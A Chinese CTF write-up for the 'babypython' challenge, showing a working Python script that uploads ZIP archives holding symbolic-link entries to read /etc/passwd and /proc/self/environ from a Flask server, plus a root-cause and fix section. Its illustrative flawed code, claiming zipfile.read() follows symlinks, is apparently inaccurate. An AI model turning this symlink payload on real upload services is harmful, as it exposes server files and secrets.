当前位置：首页 > news >正文

CTF Write-up: babypython 国赛总决赛

news 2026/6/10 14:30:29

题目名称	babypython
题目类型	Web / File Upload
赛事来源	CISCN 2021 国赛总决赛（DASCTF复现）
题目环境	根据项目生成
解题日期	2026-06-09

1. 题目描述（Challenge Description）

题目给出一个Web页面，包含文件上传功能。页面提示 "I will tell you a secret, but you should become admin first." （我会告诉你一个秘密，但你需要先成为管理员）。页面只接受 ZIP 格式的文件上传，要求利用文件上传漏洞获取 Flag。

2. 信息收集与漏洞分析（Reconnaissance & Analysis）

2.1 初步探测

访问主页，观察到以下特征：

• 页面框架：Flask + uWSGI + Nginx（从响应头 Server: openresty 判断）
• Session Cookie：标准 Flask signed cookie（需要 SECRET_KEY 伪造）
• 文件上传：仅接受 .zip 扩展名文件

2.2 上传功能测试

上传一个普通的 ZIP 文件（内含 test.txt），服务器解压并回显文件内容。考虑到 ZIP 格式支持符号链接（Symbolic Link），如果后端没有安全处理 symlink，则可以通过 ZIP 内的符号链接读取服务器任意文件。

3. 漏洞利用（Exploitation）

3.1 ZIP 符号链接文件读取（核心漏洞）

利用 Python 的 zipfile 模块构造包含符号链接的 ZIP 文件：

import zipfile, io

def make_zip_with_symlink(target_path, link_name):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
info = zipfile.ZipInfo(link_name)
info.create_system = 3 # 标记为 Unix 系统
info.external_attr = 0xA1ED0000 # 符号链接权限标记
z.writestr(info, target_path) # 链接目标
return buf.getvalue()

关键参数说明：create_system = 3 表示此文件在 Unix 系统上创建；external_attr = 0xA1ED0000 表示这是一个符号链接（symlink）。后端解压时如果未过滤符号链接，会跟随链接读取目标文件内容。

3.2 关键文件读取

通过上述 Payload 读取以下关键信息：

文件路径	读取到的关键信息



/etc/passwd	确认是 Linux 系统，存在 root/daemon 等标准账户
/app/y0u_found_it/secret.py	secret = os.getenv("FLAG") — 确认 Flag 存储于环境变量
/app/uwsgi.ini	module = main / callable = app — Flask 应用入口配置
/proc/self/environ	★★★ 直接暴露 FLAG 环境变量！

3.3 最终 EXP 脚本

import requests, zipfile, io, random, string

BASE = "http://c6e676cda79b23935b939fc7.http-ctf2.dasctf.com"

def make_zip_with_symlink(target):
linkname = ''.join(random.choices(string.ascii_lowercase, k=10))
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
info = zipfile.ZipInfo(linkname)
info.create_system = 3
info.external_attr = 0xA1ED0000
z.writestr(info, target)
return buf.getvalue()

def read_file(target):
s = requests.Session()
s.get(BASE + "/")
zipdata = make_zip_with_symlink(target)
fname = ''.join(random.choices(string.ascii_lowercase, k=8)) + '.zip'
files = {'the_file': (fname, zipdata, 'application/zip')}
r = s.post(BASE + "/upload", files=files, data={'submit': 'Submit'})
return r.text

# ★ 读取进程环境变量获取 FLAG
environ = read_file("/proc/self/environ")
for kv in environ.split('\x00'):
if kv.startswith('FLAG='):
print("[+] FLAG FOUND:", kv[5:])
break

4. Flag

DASCTF{10a6cf72-f22b-4f10-bcde-255c38a5c402}

5. 漏洞根因分析（Vulnerability Root Cause）

题目应用的文件上传/解压流程中，未对 ZIP 压缩包内的符号链接条目进行校验与过滤。典型缺陷代码如下（示意）：

# 缺陷代码（示意）
with zipfile.ZipFile(uploaded_file, 'r') as z:
for name in z.namelist():
content = z.read(name) # ⚠️ 如果 name 是符号链接，此处会解析目标文件
print(content) # 直接输出目标文件内容

修复方案：解压前需校验每个 ZIP 条目是否为符号链接，并拒绝之；同时限制解压路径不得超出工作目录。

6. 解题流程总结（Solution Summary）

Step 1 —上传普通 ZIP 确认功能正常，观察回显为文件内容。
Step 2 —构造包含指向 /etc/passwd 符号链接的 ZIP，确认存在任意文件读取。
Step 3 —读取 /app/y0u_found_it/secret.py，发现 secret = os.getenv("FLAG")，定位 Flag 来源。
Step 4 —读取 /proc/self/environ（或 /proc/1/environ），在环境变量中直接获得 FLAG。
Step 5 —验证 Flag 格式为 DASCTF{...}，提交成功。